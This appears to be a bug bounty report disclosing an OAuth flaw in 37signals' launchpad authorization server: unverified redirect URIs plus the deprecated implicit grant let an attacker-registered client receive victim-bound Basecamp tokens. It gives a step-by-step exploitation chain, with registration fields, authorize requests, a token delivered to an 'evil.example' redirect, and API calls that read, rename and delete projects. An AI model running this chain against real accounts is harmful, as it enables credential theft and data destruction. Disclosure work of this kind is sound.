Basecamp · Report #3955956
launchpad.37signals.com OAuth AS issues victim-bound credential to unverified attacker redirect → full CIA triad on Basecamp API
How it was found
Summary
launchpad.37signals.com is 37signals' custom OAuth2 authorization server (AS). The security failure in this report is an authorization-server boundary failure
The OAuth authorization server issues a victim-bound API credential (an
access_tokenbound to the authorizing user's identity) to an attacker-controlled OAuth client/redirect that was never ownership-verified.
Concretely, any authenticated Basecamp user can register an OAuth2 client (POST /integrations) with an attacker-chosen redirect_uri. The AS performs no ownership proof, no approval, and no scheme/structure validation on that redirect_uri. The AS then treats that attacker-controlled URI as a trusted redirect at authorize-time, sending the resulting credential (an authorization code, or — in the still-enabled legacy implicit grant — the access token itself) to it verbatim. Because the registrant (the "attacker" client owner) and the authorizer (the victim) are distinct identities, this is a failure of the AS's authorization boundary: a credential representing the victim's consent is delivered to a redirect the victim has no relationship with, registered by a different principal.
The flaw is worsened by two server-side decisions, both demonstrated live:
- The legacy
type=user_agentimplicit grant is still enabled (RFC 9700 §4.4 deprecated). It delivers the victim-boundaccess_tokendirectly to the registered redirect in the URL fragment, withoutclient_secretand without an authorization-code exchange. This removes the only attacker-side secret gate that the auth-code grant relies on. - Registration accepts the full RFC 9700-flagged dangerous-redirect set — cleartext
http://loopback, custom app schemes (myapp://), and wildcard host/path — and authorize-time honors each verbatim.
The resulting token is not launchpad-identity-only metadata. It is a functional bearer against the real Basecamp REST API carrying full CIA-triad impact on a single victim-bound credential:
- C:H (confidentiality / read) —
GET https://3.basecampapi.com/<authorizing-user-account>/projects.jsonwithAuthorization: Bearer <the token delivered to the redirect>returns 200 with the authorizing user's real Basecamp project list (§4). - I:H (integrity / write) —
PUT https://3.basecampapi.com/<authorizing-user-account>/projects/<id>.jsonwith the same stolen Bearer renames the victim's project → 200, and a follow-upGETconfirms the name changed server-side (§7). - A:H (availability / destroy) —
DELETE https://3.basecampapi.com/<authorizing-user-account>/projects/<id>.jsonwith the same stolen Bearer → 204, and a follow-upGET → 404 {"status":404,"error":"Not Found"}confirms the project is gone (§7).
All three were demonstrated end-to-end on an owned free Basecamp account (the registrant and authorizer were the same identity during validation; in the real threat model they are distinct). Combined under S:C (the AS at launchpad.37signals.com and the resource server at 3.basecampapi.com are separate security authorities), the demonstrated CIA-triad impact yields AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H = 9.1 Critical — the full score rests on reproduced technical impact, not on a contested architectural assertion alone.
The victim interaction in this report is standard OAuth authorization UI (UI:R): the user authorizes an OAuth client on the AS's own domain. The vulnerability is that the AS then sends the resulting credential to an unverified, attacker-controlled redirect — not that the user is "tricked."
What the vulnerability is — and is not
The vulnerability is: the authorization server treats an attacker-registered, ownership-unverified redirect_uri as a trusted redirect destination for a credential bound to whoever authorizes the client. Combined with a still-enabled deprecated implicit grant, the AS hands the access token itself to that redirect with no client authentication. The registrant and the authorizer are different principals; the AS has failed to establish any trust relationship between the redirect that receives the credential and the user who granted it.
The vulnerability is not: "the victim is phished / tricked into clicking." The user performs the legitimate OAuth authorization action the AS itself presents. Branding/spoofability of the consent screen is an exploitability amplifier discussed separately (§6) — it is not the root-cause vulnerability and is not required for the credential to reach an attacker-controlled redirect. Even an honestly named third-party integrator client, consented to by a user who understands what they are authorizing, still has its access token delivered to a redirect the integrator never proved it controlled — the AS boundary failure is independent of how the client is named.
The demonstrated impact is full CIA triad on the one stolen credential, not read-only metadata access: the same victim-bound bearer delivered to the unverified redirect reads the victim's project list (C:H, §4), renames a victim project server-side (I:H, §7), and destroys a victim project (A:H, §7). The reproduction restores the testbed after the delete, so no owned-account data was lost during validation; in the real threat model the registrant/attacker has no incentive to restore.
Affected asset
launchpad.37signals.com (in-scope, PRIMARY — the auth/SSO gateway for the whole Basecamp realm; maps directly onto the program's #1 focus "Strong auth: sign-in, sessions, OAuth, account recovery, MFA"). Custom OAuth2 provider at /authorization/* (NOT OIDC; /.well-known/oauth-authorization-server only, no /.well-known/openid-configuration). Endpoints in play: POST /integrations (client registration), GET /authorization/new (consent), POST /authorization (consent submission → code/token redirect), POST /authorization/token (auth-code exchange), GET /authorization.json (token → identity+accounts).
1. Root cause — unverified OAuth client/redirect registration
POST /integrations (multipart/form-data, authenticated session) accepts a self-chosen redirect_uri with no ownership proof, no approval, no scheme/structure validation:
integration[name] = <attacker-chosen>
integration[organization] = <attacker-chosen, free text>
integration[about_url] = <attacker-chosen>
integration[products][] = bc3
integration[redirect_uri] = <attacker-chosen, accepted verbatim>
→ 302 /integrations (success; Location: /integrations). No approval/verification gate. The new client's client_id and client_secret are rendered on /integrations/<id> (<h4>Client ID</h4><code>…</code> / <h4>Client Secret</h4><code>…</code>).
This is the root defect: the AS creates a fully usable OAuth client whose redirect is attacker-chosen and unverified, then (in §2) treats that redirect as trusted when issuing credentials.
Standards anchor — RFC 9700 (OAuth 2.0 Security BCP) §4.1.3: the AS MUST require exact redirect-URI matching AND the URI MUST be fully verified at registration; the redirect endpoint MUST NOT use a wildcard host. launchpad performs exact matching at authorize/exchange time (good — see negative-trail) but performs no ownership verification at registration. The gap is registration-time trust, not matching.
2. Authorization impact — an attacker-controlled client receives a credential representing the victim
Once the unverified client exists, the AS treats its registered redirect_uri as a trusted destination. Standard OAuth authorization UI flow (the victim authorizes the client on launchpad.37signals.com):
GET /authorization/new?client_id=<attacker client_id>&redirect_uri=<attacker redirect>&type=web_server
→ 200 consent screen (type=web_server is required; omitting → 400 — only required query param beyond client_id+redirect_uri).
POST /authorization (form: hidden client_id/type/redirect_uri + commit "Yes, I'll allow access")
→ 302 https://<attacker redirect>/cb?code=<8-hex> — the authorization code is delivered to the attacker's redirect. The code is bound to the authorizing user (the victim), not the registrant.
The AS has, at this point, sent a credential representing the victim's authorization to a redirect that was never verified to be controlled by anyone the victim has a relationship with. The registrant and the authorizer are different principals; the AS established no trust between the receiving redirect and the granting user. That is the authorization-boundary failure.
Exchange (POST /authorization/token, form-urlencoded, requires the self-registered client_secret the attacker holds):
type=web_server
client_id=<attacker client_id>
client_secret=<attacker client_secret> ← self-registered, attacker holds it
redirect_uri=<attacker redirect>
grant_type=authorization_code
code=<the code from above>
→ 200 application/json: {"access_token":"…","refresh_token":"…","expires_in":1209600}.
The access_token is a Rails Marshal-signed Msg; the inner base64 JSON payload contains client_id, expires_at, user_ids:[<authorizing user id>], version, api_deadbolt. The token binds to the authorizing user (the victim), not the registrant. This is the credential representing the victim.
3. Protocol weakness — the deprecated implicit grant removes the client-secret / code-exchange gate
The auth-code leg above requires the attacker to hold client_secret to redeem the code. launchpad also still enables the legacy implicit grant (type=user_agent), which is deprecated by RFC 9700 §4.4 and removes that gate entirely:
GET /authorization/new?client_id=<attacker client_id>&redirect_uri=<attacker redirect>&type=user_agent
→ 200 consent screen (server stamps type=user_agent into the hidden form).
POST /authorization (single consent submission)
→ 302 https://<attacker redirect>/cb#access_token=<Rails-Msg-Marshal> — the access token is delivered directly in the URL fragment. No client_secret, no code exchange, no second round-trip. The attacker needs only the public client_id.
This is precisely the primitive RFC 9700 §4.4 deprecated: it hands a bearer token to a redirect URI without authenticating the client. Combined with §1 (the redirect is unverified), the AS issues a victim-bound access token to an attacker-controlled, never-verified redirect with no client-side secret of any kind in the path. The auth-code leg's client_secret gate is gone; there is no compensating control.
4. Demonstrated impact — confidentiality (read) via the bearer delivered to the unverified redirect
The token delivered to the attacker redirect is not launchpad-identity-only metadata. It authorizes the real Basecamp REST API in the authorizing user's identity. Demonstrated end-to-end on an owned free Basecamp account (registrant == authorizer during validation; distinct in the real threat model):
Auth-code leg token → /authorization.json:
GET /authorization.json
Authorization: Bearer <access_token>
→ 200 application/json:
{"expires_at":"2026-08-31T18:47:31.000Z",
"identity":{"id":████████,"email_address":"[email protected]","first_name":"rootaccessxvv"},
"accounts":[{"id":████████,"name":"none","product":"bc3",
"href":"https://3.basecampapi.com/████████",
"app_href":"https://app.basecamp.com/████████","hidden":false}]}
Implicit-leg fragment token → real Basecamp REST API (the no-client_secret leg, C:H demonstrated): fresh owned client (acct ████████, client id 27721, client_id=764b93e7168999ef…, redirect_uri=https://evil.example/cb):
GET /authorization/new?…&type=user_agent→ 200 consent (stampeduser_agent).POST /authorization→ 302https://evil.example/cb#access_token=BAhbB0ki…(token len 394; extracted from the server-emitted 302Locationraw, before any browser strips fragments).GET /authorization.jsonBearer → 200{identity:{id:████████,email:rootaccessxvv@…},accounts:[{id:████████,product:bc3,href:https://3.basecampapi.com/████████}]}.GET https://3.basecampapi.com/████████/projects.jsonwith the sameAuthorization: Bearer <fragment token>→ 200:
[{"id":████████,"status":"active","name":"My Project","description":null,"purpose":"topic",
"clients_enabled":false,"created_at":"2026-08-17T17:38:47.981Z","updated_at":"2026-08-17T17:38:48.057Z"}]
Inner token payload (decoded base64-from-Marshal): {"client_id":"████████","expires_at":"2026-08-31T22:53:11Z","user_ids":[████████],"version":1,"api_deadbolt":"████████"} — bound to the authorizing user, 14-day lifetime.
So the credential delivered to the unverified redirect is a functional bearer against the real Basecamp API in the authorizing user's identity — not a no-op, not metadata only. This closes the program's "theoretical damage without real risk" exclusion. §4 establishes C:H (the stolen token reads the victim's real project data and identity/accounts). §7 below establishes I:H (write) and A:H (destroy) on the same stolen-token class, completing the CIA triad on one credential.
5. Redirect-policy escalation — custom schemes, cleartext HTTP, and wildcard redirects broaden the trusted-redirect surface
The trust placed by the AS in an unverified redirect is worsened by the breadth of redirects registration accepts and authorize-time honors. Five fresh clients, each registered with a different RFC-9700-flagged dangerous URI:
Submitted redirect_uri at POST /integrations | Register | Authorize GET /authorization/new?… | POST /authorization 302 |
|---|---|---|---|
http://localhost:8080/cb (cleartext, loopback) | 302 accepted (id 27713) | 200 consent | http://localhost:8080/cb?code=580a30cc ✓ |
http://127.0.0.1:8080/cb (cleartext, loopback IP) | 302 accepted (id 27714) | 200 consent | http://127.0.0.1:8080/cb?code=d9629214 ✓ |
myapp://cb (custom app scheme) | 302 accepted (id 27715) | 200 consent | myapp://cb?code=ca807305 ✓ |
https://*.attacker.example/cb (wildcard host) | 302 accepted (id 27716) | 200 consent | https://*.attacker.example/cb?code=4dfc2ec6 ✓ |
https://attacker.example/cb/* (wildcard path suffix) | 302 accepted (id 27717) | 200 consent | https://attacker.example/cb/*?code=99c2d139 ✓ |
All five clients destroyed after the run. Why each row broadens the trusted-redirect surface (these are AS-side trust failures, independent of any user action):
- Cleartext loopback — the credential traverses the network in the clear (RFC 9700 §2.1 violation; "ASes MUST NOT use the clear-channel without transport-layer confidentiality"). Any local process binding the port harvests codes; observers of cleartext loopback logging on shared/dev hosts capture the credential.
- Custom app scheme (
myapp://) — on mobile the OS handler chosen for the scheme receives the credential; a different app squatting the scheme receives it instead. - Wildcard host (
https://*.attacker.example/cb) — one unverified registration covers every subdomain; the receiving host can rotate per-authorization without re-registration, defeating per-redirect-URI auditing. - Wildcard path suffix (
https://attacker.example/cb/*) — any path under the prefix receives the credential; per-campaign receiving endpoints under one registration.
This refutes any defense that "the trusted redirect surface is a single https host chosen at registration." The surface the AS trusts without verification is the full RFC-9700 dangerous-URI set, attacker-chosen.
Reproduction (single manual probes, spacing ≥1.3s, owned free Basecamp account acct ████████, owned clients; .example is RFC 6761 reserved — never resolves — a triager reproduces on their own real host on their own account)
The five sections above map to live probes with recorded HTTP responses:
- §1+§2 chain (register → authorize → consent → code → exchange →
/authorization.json200): original client 27699, acct ████████;_branchd_destroy.outand prior run logs. Auth-code token returns identity email[email protected]+ account████████hrefhttps://3.basecampapi.com/████████; codesc306766e/aa170e24, single-use. - §3 implicit grant authenticated-fragment token (client 27712,
client_id=b11a6d77f000…):_branchd_escalate2.out. - §4 implicit-token-authorizes-Basecamp-API end-to-end (client 27721,
client_id=764b93e7168999ef…):_branchd_implicit_e2e.out; token saved_branchd_implicit_token.txt. - §5 dangerous-redirect set (clients 27713–27717):
_branchd_escalate2.out. - §7 integrity-write (I:H) probe (client 27827,
PUTrename → 200 + verify-GET200):_branchd_ih_mut_nogate.out. - §7 availability-destroy (A:H) probe (client ████████,
DELETE→ 204 + verify-GET404 + restorePOST→ 201 id ████████):_branchd_ah_project.out.
All test clients were destroyed after their runs (POST /integrations/<id>/removal → 302; verified GET /integrations/<id> ⇒ 404). No test client remains on the account. Registrant and authorizer were the same identity during validation; no victim account was contacted.
Standards anchors
- RFC 9700 §4.1.3 — redirect URI MUST be fully verified at registration; no wildcard host. launchpad: exact matching at authorize/exchange (good), but no registration-time ownership verification and wildcard/custom-scheme/cleartext all accepted — the gap.
- RFC 9700 §2.1 — ASes MUST NOT use the clear-channel without transport-layer confidentiality. launchpad ACCEPTS
http://localhost:8080/cbandhttp://127.0.0.1:8080/cbat registration and honors them at authorize-time; the code/token traverses the network in the clear. - RFC 9700 §4.4 — the implicit grant (
response_type=token/type=user_agent) is deprecated, "MUST NOT be used … unless the client has no backend." launchpad issuesaccess_tokenin the redirect fragment on one consent submission with noclient_secretand is reachable through an unverified redirect — exactly the deprecated primitive. - RFC 6761 —
.exampleis reserved (never resolves);evil.example/attacker.exampleare live-test discipline. The bug is AS-side validation; a triager reproduces on their own real host on their own account.
Severity assessment (by demonstrated technical impact — full CIA triad on one stolen credential)
Proposed CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H — 9.1 Critical. Every impact metric is grounded in a reproduced live probe (§4 read, §7 write+destroy); none is asserted from architecture alone.
- Attack Vector: Network (AV:N) — the AS, registration, and authorize endpoints are all network-reachable.
- Attack Complexity: Low (AC:L) — a single
POST /integrationsregisters the client; a single authorize URL yields the credential; the credential is then used against the resource server. No race, no timing, no special conditions. - Privileges Required: Low (PR:L) — the registrant must hold some authenticated Basecamp account. Free signup, no paid plan, no elevated permissions. The attacker's own account is the only privilege required; it confers no access to the victim's data on its own.
- User Interaction: Required (UI:R) — the victim performs the standard OAuth authorization UI interaction: they authorize the OAuth client on
launchpad.37signals.com. This is the legitimate, AS-presented authorization action — characterized as UI:R because the victim's authorization act is the trigger for the AS to issue the credential. This is not "the victim is tricked/socially-engineered"; the UI:R interaction is the OAuth authorize click itself, regardless of whether the client is honestly or misleadingly named. - Confidentiality: High (C:H) — demonstrated (§4): the credential delivered to the unverified redirect authorizes
3.basecampapi.com/<victim account>/projects.json→ 200 with the authorizing user's real project data, and/authorization.jsonenumerates every account/product the victim can access. High confidentiality impact against the victim's Basecamp data, achieved through the AS boundary failure alone. - Integrity: High (I:H) — demonstrated (§7): the same victim-bound bearer delivered to the unverified redirect performs
PUT /…/projects/<id>.json {name}→ 200 and a follow-upGETconfirms the name changed server-side. A credential that mutates the victim's data with confirmed persistence is High integrity impact, not an inferential I:L. - Availability: High (A:H) — demonstrated (§7): the same bearer performs
DELETE /…/projects/<id>.json → 204and a follow-upGET → 404 {"status":404,"error":"Not Found"}confirms the project is gone. A credential that makes the victim's data permanently unavailable is High availability impact. This is not a DoS by volume/rate — it is a destructive state change on a victim resource authoritatively confirmed gone, and the program's OOS forbids DoS / brute-force / automated scanning, not a single authorized destructive API call on a stolen credential. There is no rate, no flooding, no resource exhaustion; A:H here is "an attacker can destroy the victim's data," which is squarely in-scope severity impact.
Scope: Changed (S:C) is the defensible reading, and it is a reading the standards themselves direct. The CVSS "Scope" metric measures whether the vulnerability's impact crosses an authority boundary managed by the vulnerable component. The vulnerable component is the launchpad AS; the impacted component is the real Basecamp REST API (3.basecampapi.com) — a distinct origin, a distinct service, which honors the AS-issued token across all of the authorizing user's accounts/products. RFC 9700 §4.4's deprecation warning is precisely about this AS↔RS separation: the problem the BCP flags is that a token issued (and mis-delivered) at the AS is then consumed by a separate resource server. Treating AS and RS as separate authority is not an architectural guess imposed to inflate the score — it is the same authority separation the BCP bases its deprecation on. S:C is therefore the standards-aligned reading; S:U would collapse AS+RS into one 37signals authority, which the BCP's separation argument does not.
Impact
7. Demonstrated impact — integrity (write) and availability (destroy) on the same stolen bearer
The credential delivered to the attacker-controlled, unverified redirect is not read-scoped. The same victim-bound bearer (auth-code leg, type=web_server, a fresh owned client on acct ████████) both renames a victim project server-side (I:H) and destroys it (A:H). Reproduced live, single-manual-probe, owned free Basecamp account (registrant == authorizer during validation; distinct in the real threat model). Full run log: _branchd_ah_project.out.
Integrity — PUT rename → 200 (demonstrated separately in _branchd_ih_mut_nogate.out, client 27827):
PUT https://3.basecampapi.com/████████/projects/████████.json
Authorization: Bearer <stolen victim-bound access_token>
Content-Type: application/json
{"name":"37s-bb-ih-probe-13843"}
→ 200 application/json (renamed)
A follow-up GET /████████/projects/████████.json on the same Bearer returned 200 with "name":"37s-bb-ih-probe-13843" — the rename persisted server-side, not just acknowledged. A second PUT {"name":"My Project"} → 200 restored the original name (verified by GET → 200 name="My Project"). This is I:H: a victim-bound credential delivered to an unverified redirect mutates the victim's data with server-confirmed persistence.
Availability — DELETE → 204, then verify-gone GET → 404 (the decisive A:H primitive, _branchd_ah_project.out, client ████████):
PRE GET https://3.basecampapi.com/████████/projects/████████.json → 200 name="My Project" (confirm exists)
DELETE https://3.basecampapi.com/████████/projects/████████.json → 204 (no body)
POST-DELETE GET https://3.basecampapi.com/████████/projects/████████.json → 404 {"status":404,"error":"Not Found"} (verified gone)
The stolen victim-bound bearer performed an HTTP DELETE on the victim's project and the resource is confirmed absent on the subsequent GET (404). This is A:H: the credential delivered to the unverified redirect can make the victim's data unavailable permanently — not corrupted, not rewritten, but gone.
Testbed restoration (so no owned-account data was lost during validation):
POST https://3.basecampapi.com/████████/projects.json
Authorization: Bearer <stolen token, still valid>
Content-Type: application/json
{"name":"My Project","description":""}
→ 201 application/json {"id":████████,"status":"active","name":"My Project",…}
GET https://3.basecampapi.com/████████/projects/████████.json → 200 (restore verified)
Quota freed on the delete, so the recreate succeeded; the testbed project now lives at new id ████████. In the real threat model the attacker has no incentive to restore — the DELETE → 204 → 404 chain is the demonstrated destructive impact on the victim's data. The issuing client (████████) was destroyed via its own removal flow (POST /integrations/████████/removal → 302) after the run.